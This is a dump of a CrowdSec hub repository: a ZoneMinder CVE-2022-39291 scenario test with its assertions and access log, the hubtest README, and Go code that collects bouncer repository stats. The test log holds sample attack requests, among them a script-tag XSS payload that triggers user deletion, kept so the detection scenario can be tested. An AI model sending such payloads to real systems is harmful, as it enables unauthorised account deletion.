"zoneminder_cve-39291.log" results[0].Overflow.Alert.Events[9].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[9].GetMeta("http_path") == "/zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&view=request&file=line=800" results[0].Overflow.Alert.Events[9].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[9].GetMeta("http_user_agent") == "User Agent DATA - THREAT" results[0].Overflow.Alert.Events[9].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[9].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[9].GetMeta("service") == "http" results[0].Overflow.Alert.Events[9].GetMeta("source_ip") == "10.0.1.5" results[0].Overflow.Alert.Events[9].GetMeta("timestamp") == "2022-12-18T18:15:31-07:00" results[0].Overflow.Alert.Events[10].GetMeta("datasource_path") == "zoneminder_cve-39291.log" results[0].Overflow.Alert.Events[10].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[10].GetMeta("http_path") == "/zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request" results[0].Overflow.Alert.Events[10].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[10].GetMeta("http_user_agent") == "User Agent DATA - THREAT" results[0].Overflow.Alert.Events[10].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[10].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[10].GetMeta("service") == "http" results[0].Overflow.Alert.Events[10].GetMeta("source_ip") == "10.0.1.5" results[0].Overflow.Alert.Events[10].GetMeta("timestamp") == "2022-12-18T18:15:32-07:00" results[0].Overflow.Alert.GetScenario() == "baudneo/zoneminder_cve-2022-39291" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 11 hub1/.tests/zoneminder_cve-39291/zoneminder_cve-39291.log000066400000000000000000000121231437532772500230460ustar00rootroot0000000000000010.0.1.5 - - [18/Dec/2022:18:15:22 -0700] "GET /zm/index.php?view=request&request=stream&connkey=449169&auth=88ac8155acc9cc9503f8d0a8e5b368a0&command=99 HTTP/1.1" 200 548 "https://zm.baudneo.com/zm/index.php?view=montage" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 10.0.1.5 - - [18/Dec/2022:18:15:23 -0700] "POST /zm/api/host/login.json HTTP/1.1" 200 820 "-" "python-requests/2.28.1" 10.0.1.5 - - [18/Dec/2022:18:15:24 -0700] "GET /zm/index.php?view=options&tab=users&action=delete&markUids%5B%5D=13&deleteBtn=Delete HTTP/1.1" 200 69420 "-" "User-Agent Data" 10.0.1.5 - - [18/Dec/2022:18:15:25 -0700] "POST /zm/index.php?__csrf_magic=key:78ee298a4593243b9ac481199d7da468bab4f044,1664675125&view=request&request=log&task=create&level=ERR&message=Trenches%20of%20IT%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=http%3A%2F%2F10.0.10.107%2Fzm%2F</td></tr><script src='/zm/?view=options%26tab=users%26action=delete%26markUids%5B%5D=6%26deleteBtn=Delete'</script>&line=70 HTTP/1.1" 200 42069 "-" "User Agent DATA" 10.0.1.5 - - [18/Dec/2022:18:15:26 -0700] "POST /zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request HTTP/1.1" 200 42069 "-" "User Agent DATA - THREAT" 10.0.1.5 - - [18/Dec/2022:18:15:27 -0700] "POST /zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request HTTP/1.1" 200 42069 "-" "User Agent DATA - THREAT" 10.0.1.5 - - [18/Dec/2022:18:15:27 -0700] "POST /zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request HTTP/1.1" 200 42069 "-" "User Agent DATA - THREAT" 10.0.1.5 - - [18/Dec/2022:18:15:27 -0700] "POST /zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request HTTP/1.1" 200 42069 "-" "User Agent DATA - THREAT" 10.0.1.5 - - [18/Dec/2022:18:15:27 -0700] "POST /zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request HTTP/1.1" 200 42069 "-" "User Agent DATA - THREAT" 10.0.1.5 - - [18/Dec/2022:18:15:27 -0700] "POST /zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request HTTP/1.1" 200 42069 "-" "User Agent DATA - THREAT" 10.0.1.5 - - [18/Dec/2022:18:15:28 -0700] "POST /zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&level=ERR&message=Trenches%20of%20IT%20PoC&task=create&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request HTTP/1.1" 200 42069 "-" "User Agent DATA - THREAT" 10.0.1.5 - - [18/Dec/2022:18:15:29 -0700] "POST /zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&view=request&browser%5Bplatform%5D=Windows&file=line=800 HTTP/1.1" 200 42069 "-" "User Agent DATA - THREAT" 10.0.1.5 - - [18/Dec/2022:18:15:31 -0700] "POST /zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&view=request&file=line=800 HTTP/1.1" 200 42069 "-" "User Agent DATA - THREAT" 10.0.1.5 - - [18/Dec/2022:18:15:32 -0700] "POST /zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request HTTP/1.1" 200 42069 "-" "User Agent DATA - THREAT" 10.0.1.5 - - [18/Dec/2022:18:15:35 -0700] "POST /zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&view=request&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800 HTTP/1.1" 200 42069 "-" "User Agent DATA - THREAT" hub1/README.md000066400000000000000000000271601437532772500132210ustar00rootroot00000000000000

CrowdSec


:books: Documentation :diamond_shape_with_a_dot_inside: Configuration Hub :speech_balloon: Discourse (Forum) :speech_balloon: Gitter (Live chat)

> CrowdSec Hub for parsers, enrichers and scenarios. # Foreword This repository stores most of the official parsers/scenarios/collections for crowdsec. The repository is not intended for use as-is, but rather as source of truth for the [CrowdSec Hub](https://hub.crowdsec.net/) and `cscli`. Feel free to use the parsers/scenarios here as a source of inspiration. # Testing & Continuous integration `cscli` provides a `hubtest` sub-command to help contributors to create tests for parsers and scenarios. ## View & use existing tests :warning: most of `cscli hubtest` commands are expected to be run from the root directory of the hub. A git clone of this repository is the easier way to work :warning: > list existing tests `cscli hubtest list` > run a specific test `cscli hubtest run [test-name]` > show current tests coverage `cscli hubtest coverage` ## Create your own (parser) test We're going to create the CI tests for the dovecot-parser. Before you start : - you will need some *actual* logs - you'd better know if the service logs on its own or via syslog (we're in the later case here) 1. Create a new test ```bash ▶ cscli hubtest create dovecot-logs --type syslog Test name : dovecot-logs Test path : .../github/hub/.tests/dovecot-logs Log file : .../github/hub/.tests/dovecot-logs/dovecot-logs.log (please fill it with logs) Parser assertion file : .../github/hub/.tests/dovecot-logs/parser.assert (please fill it with assertion) Scenario assertion file : .../github/hub/.tests/dovecot-logs/parser.assert (please fill it with assertion) Configuration File : .../github/hub/.tests/dovecot-logs/config.yaml (please fill it with parsers, scenarios...) ``` What is relevant here is that every test is composed of : - A log file and it's associated type (same `type` as seen in acquis `labels:type`) - A configuration specifying which parsers and/or scenarios must be enabled for the test - A *ultimately* list of assertions that must be run against the parsers and/or scenarios output Note: You can provide the parsers and scenarios you want in your test with `--parsers` and `--scenarios` (you can provide multiple parsers and scenarios) If you want to test only a scenario, you can specify (`--ignore-parsers`) or set the `ignore_parsers` to `true` in the config.yaml 2. Configure your test We need to edit the test configuration to use the relevant parsers : ```bash ▶ cat .../github/hub/.tests/dovecot-logs/config.yaml parsers: - crowdsecurity/syslog-logs - crowdsecurity/dovecot-logs scenarios: postoverflows: - "" log_file: dovecot-logs.log log_type: syslog ``` _note: the order doesn't matter. If the parser name is in the form `author/parser` it's from the hub, but relative paths are allowed for non-versioned parsers_ Now we need to dump some actual logs into the test's log file : ```bash ▶ cat > .tests/dovecot-logs/dovecot-logs.log Jan 28 10:16:13 dovecot-box dovecot[7508]: imap-login: Disconnected (auth failed, 1 attempts in 6 secs): user=, method=PLAIN, rip=4.4.4.4, lip=7.7.7.7, TLS, session=<3650VvK5bdIaW-iK> Sep 8 07:16:29 canyon dovecot: auth-worker(24058): pam(toto,1.1.1.1,): pam_authenticate() failed: Authentication failure (password mismatch?) Sep 8 07:46:51 canyon dovecot: auth-worker(24544): pam(toto,1.1.1.1): unknown user ``` 3. Run the test for the first time Now that we have config & logs, let's run it for the first time : ```bash ▶ cscli hubtest run dovecot-logs INFO[27-09-2021 06:13:59 PM] Running test 'dovecot-logs' INFO[27-09-2021 06:13:59 PM] parser 'crowdsecurity/dovecot-logs' installed succesfully in runtime environment INFO[27-09-2021 06:13:59 PM] parser 'crowdsecurity/syslog-logs' installed succesfully in runtime environment WARN[27-09-2021 06:14:02 PM] Assert file '/home/bui/github/hub/.tests/dovecot-logs/parser.assert' is empty, generating assertion: results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true ... results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Success == true results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["pid"] == "7508" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["timestamp"] == "Jan 28 10:16:13" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["dovecot_login_result"] == "Disconnected (auth failed, 1 attempts in 6 secs)" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["message"] == "imap-login: Disconnected (auth failed, 1 attempts in 6 secs): user=, method=PLAIN, rip=4.4.4.4, lip=7.7.7.7, TLS, session=<3650VvK5bdIaW-iK>" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["program"] == "dovecot" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["protocol"] == "imap" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["dovecot_local_ip"] == "7.7.7.7" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["dovecot_remote_ip"] == "4.4.4.4" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["dovecot_user"] == "toto@toto.com" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Meta["log_type"] == "dovecot_logs" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Meta["source_ip"] == "4.4.4.4" ... ``` As our `parser.assert` is empty, the tool is generating some "suggested" asserts for us. Your careful eye will keep only the ones relevant to the parser you're testing : ```bash ▶ cat > .tests/dovecot-logs/parser.assert results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Success == true results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["pid"] == "7508" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["timestamp"] == "Jan 28 10:16:13" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["dovecot_login_result"] == "Disconnected (auth failed, 1 attempts in 6 secs)" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["message"] == "imap-login: Disconnected (auth failed, 1 attempts in 6 secs): user=, method=PLAIN, rip=4.4.4.4, lip=7.7.7.7, TLS, session=<3650VvK5bdIaW-iK>" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["program"] == "dovecot" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["protocol"] == "imap" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["dovecot_local_ip"] == "7.7.7.7" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["dovecot_remote_ip"] == "4.4.4.4" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["dovecot_user"] == "toto@toto.com" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Meta["log_type"] == "dovecot_logs" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Meta["source_ip"] == "4.4.4.4" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Success == true results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Parsed["dovecot_login_result"] == "Authentication failure (password mismatch?)" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Parsed["message"] == "auth-worker(24058): pam(toto,1.1.1.1,): pam_authenticate() failed: Authentication failure (password mismatch?)" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Parsed["program"] == "dovecot" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Parsed["timestamp"] == "Sep 8 07:16:29" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Parsed["dovecot_remote_ip"] == "1.1.1.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Parsed["dovecot_user"] == "toto" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Meta["log_type"] == "dovecot_logs" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Success == true results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["dovecot_login_result"] == "unknown user" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["program"] == "dovecot" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["dovecot_remote_ip"] == "1.1.1.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["dovecot_user"] == "toto" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["message"] == "auth-worker(24544): pam(toto,1.1.1.1): unknown user" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["timestamp"] == "Sep 8 07:46:51" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Meta["log_type"] == "dovecot_logs" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Meta["datasource_type"] == "file" ``` 4. Test your newly crafted test ```bash ▶ cscli hubtest run dovecot-logs INFO[27-09-2021 06:19:33 PM] Running test 'dovecot-logs' INFO[27-09-2021 06:19:33 PM] parser 'crowdsecurity/syslog-logs' installed succesfully in runtime environment INFO[27-09-2021 06:19:33 PM] parser 'crowdsecurity/dovecot-logs' installed succesfully in runtime environment Test 'dovecot-logs' passed successfully (39 assertions) 🟩 ``` And be amazed. ## Debug your own (parser) test Things went wrong ? Don't panic When working on a test, you can as well pass expressions directly to `hubtest` command and see the results : ```bash ▶ cscli hubtest eval dovecot-logs -e 'results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed' dovecot_login_result: unknown user dovecot_remote_ip: 1.1.1.1 dovecot_user: toto facility: "" logsource: syslog message: 'auth-worker(24544): pam(toto,1.1.1.1): unknown user' pid: "" priority: "" program: dovecot timestamp: Sep 8 07:46:51 timestamp8601: "" ``` ## Open your PR yes. hub1/assets/000077500000000000000000000000001437532772500132365ustar00rootroot00000000000000hub1/assets/crowdsec_hub.svg000066400000000000000000000315121437532772500164300ustar00rootroot00000000000000Hubhub1/blockers.go000066400000000000000000000163701437532772500140760ustar00rootroot00000000000000package main import ( "context" "encoding/base64" "encoding/json" "fmt" "io/ioutil" "log" "net/http" "os" "time" "github.com/google/go-github/v48/github" "github.com/pkg/errors" "golang.org/x/oauth2" ) const ( npmAPIMaxDurationMonth = 17 ) var ( expressBouncerReleaseDateTime = time.Date(2021, 01, 01, 0, 0, 0, 0, time.UTC) ) type npmAPIDownloadResponse struct { Downloads int `json:"downloads"` } type ItemInfo struct { //Source info (crafted by humans) Name string `json:"name"` Owner string `json:"author"` Logo string `json:"logo"` //Main infos about repo URL string `json:"url"` Description string `json:"description"` Stargazers int `json:"stars"` DownloadCount int `json:"downloads"` ReadmeContent string `json:"readme_content"` Status string `json:"status"` LastVersion string `json:"version"` Assets []Asset `json:"assets"` } type Asset struct { Name string `json:"name"` DownloadURL string `json:"download_url"` AssetURL string `json:"asset_url"` } func fetchExpressBouncerDownloadFromDate(startDate time.Time, endDate time.Time) (int, error) { url := fmt.Sprintf("https://api.npmjs.org/downloads/point/%s:%s/@crowdsec/express-bouncer", fmt.Sprintf("%d-%d-%d", startDate.Year(), startDate.Month(), startDate.Day()), fmt.Sprintf("%d-%d-%d", endDate.Year(), endDate.Month(), endDate.Day())) req, err := http.NewRequest("GET", url, nil) if err != nil { return 0, errors.Wrapf(err, "creating request to fetch downloads from NPM API") } client := &http.Client{} resp, err := client.Do(req) if err != nil { return 0, errors.Wrapf(err, "doing request to fetch downloads from NPM API") } if resp.Body == nil { return 0, fmt.Errorf("response from NPM API is empty") } defer resp.Body.Close() body, readErr := ioutil.ReadAll(resp.Body) if readErr != nil { return 0, errors.Wrapf(err, "reading body while fetching downloads from NPM API") } npmResp := npmAPIDownloadResponse{} if err := json.Unmarshal(body, &npmResp); err != nil { return 0, errors.Wrapf(err, "unmarshaling body while fetching downloads from NPM API") } return npmResp.Downloads, nil } func fetchExpressBouncerDownload() (int, error) { var totalDownload int startDate := expressBouncerReleaseDateTime endDate := startDate.AddDate(0, npmAPIMaxDurationMonth, 0) now := time.Now() for { if endDate.After(now) { nbDownload, err := fetchExpressBouncerDownloadFromDate(startDate, now) if err != nil { return 0, err } totalDownload += nbDownload break } nbDownload, err := fetchExpressBouncerDownloadFromDate(startDate, endDate) if err != nil { return 0, err } totalDownload += nbDownload startDate = endDate endDate = startDate.AddDate(0, npmAPIMaxDurationMonth, 0) } return totalDownload, nil } // DumpJSON dumps the list to a json file func DumpJSON(file string, items []ItemInfo) error { dump, err := json.MarshalIndent(items, "", " ") if err != nil { return fmt.Errorf("failed to unmarshal : %s", err) } err = ioutil.WriteFile(file, dump, 0755) if err != nil { return fmt.Errorf("failed to write dump : %s", err) } return nil } // LoadJSON loads a list of blockers from json func LoadJSON(file string) ([]ItemInfo, error) { var blockers []ItemInfo body, err := ioutil.ReadFile(file) if err != nil { return nil, fmt.Errorf("failed to open %s : %s", file, err) } if err = json.Unmarshal(body, &blockers); err != nil { return nil, fmt.Errorf("failed to decode json : %s", err) } return blockers, nil } // UpdateItem refreshes the item information from github api func UpdateItem(item ItemInfo) (ItemInfo, error) { /*Configure client with auth*/ client := github.NewClient(nil) githubToken := os.Getenv("GH_TOKEN") ctx := context.Background() if githubToken != "" { log.Printf("GH_TOKEN env found, using it.") ts := oauth2.StaticTokenSource( &oauth2.Token{AccessToken: githubToken}, ) tc := oauth2.NewClient(ctx, ts) client = github.NewClient(tc) } /*get main infos about repo*/ log.Printf("updating %s/%s", item.Owner, item.Name) repinfo, _, err := client.Repositories.Get(ctx, item.Owner, item.Name) if err != nil { return item, fmt.Errorf("unable to get %s/%s : %s", item.Owner, item.Name, err) } item.Stargazers = repinfo.GetStargazersCount() log.Printf("Stargazers : %d", item.Stargazers) item.URL = repinfo.GetHTMLURL() log.Printf("URL : %s", item.URL) item.Description = repinfo.GetDescription() log.Printf("Description : %s", item.Description) /*get the readme*/ readme, _, err := client.Repositories.GetReadme(ctx, item.Owner, item.Name, nil) if err != nil { return item, fmt.Errorf("Failed to get the readme : %s", err) } content, err := readme.GetContent() if err != nil { return item, fmt.Errorf("Failed to get the readme content : %s", err) } log.Printf("len(readme) : %d", len(content)) item.ReadmeContent = base64.StdEncoding.EncodeToString([]byte(content)) releases, _, err := client.Repositories.ListReleases(ctx, item.Owner, item.Name, nil) if err != nil { log.Fatalf("Failed to fetch releases : %+v", err.Error()) } if len(releases) > 0 { /*get latest release assets*/ gotLatestRelease := false for _, release := range releases { if !*release.Prerelease { gotLatestRelease = true item.Status = "stable" item.LastVersion = *release.TagName log.Printf("LastVersion : %s", item.LastVersion) for _, releaseAsset := range release.Assets { item.Assets = append(item.Assets, Asset{ Name: *releaseAsset.Name, DownloadURL: *releaseAsset.BrowserDownloadURL, AssetURL: *releaseAsset.URL, }) } if len(release.Assets) == 0 { item.Assets = append(item.Assets, Asset{ Name: "Tarball (source code)", DownloadURL: *release.TarballURL, AssetURL: *release.TarballURL, }) item.Assets = append(item.Assets, Asset{ Name: "Zipball (source code)", DownloadURL: *release.ZipballURL, AssetURL: *release.ZipballURL, }) } log.Printf("Got %d assets", len(item.Assets)) break } } /*get latest prerelease assets (if no release)*/ if !gotLatestRelease { for _, release := range releases { gotLatestRelease = true item.Status = "unstable" item.LastVersion = *release.TagName log.Printf("LastVersion : %s", item.LastVersion) for _, releaseAsset := range release.Assets { item.Assets = append(item.Assets, Asset{ Name: *releaseAsset.Name, DownloadURL: *releaseAsset.BrowserDownloadURL, AssetURL: *releaseAsset.URL, }) } log.Printf("Got %d assets", len(item.Assets)) break } } // count downloads for _, release := range releases { for _, releaseAsset := range release.Assets { item.DownloadCount += *releaseAsset.DownloadCount } } } else { item.LastVersion = "no release" item.DownloadCount = 0 item.Status = "development" item.Assets = append(item.Assets, Asset{ Name: "no release", DownloadURL: *repinfo.HTMLURL + "/tags", AssetURL: *repinfo.HTMLURL + "/tags", }) log.Printf("Has no release : %s", item.Assets[0].AssetURL) } if item.Name == "cs-express-bouncer" { nbDownload, err := fetchExpressBouncerDownload() if err != nil { return item, err } item.DownloadCount += nbDownload } return item, nil } hub1/blockers.json000066400000000000000000050022711437532772500144420ustar00rootroot00000000000000[ { "name": "cs-nginx-bouncer", "author": "crowdsecurity", "logo": "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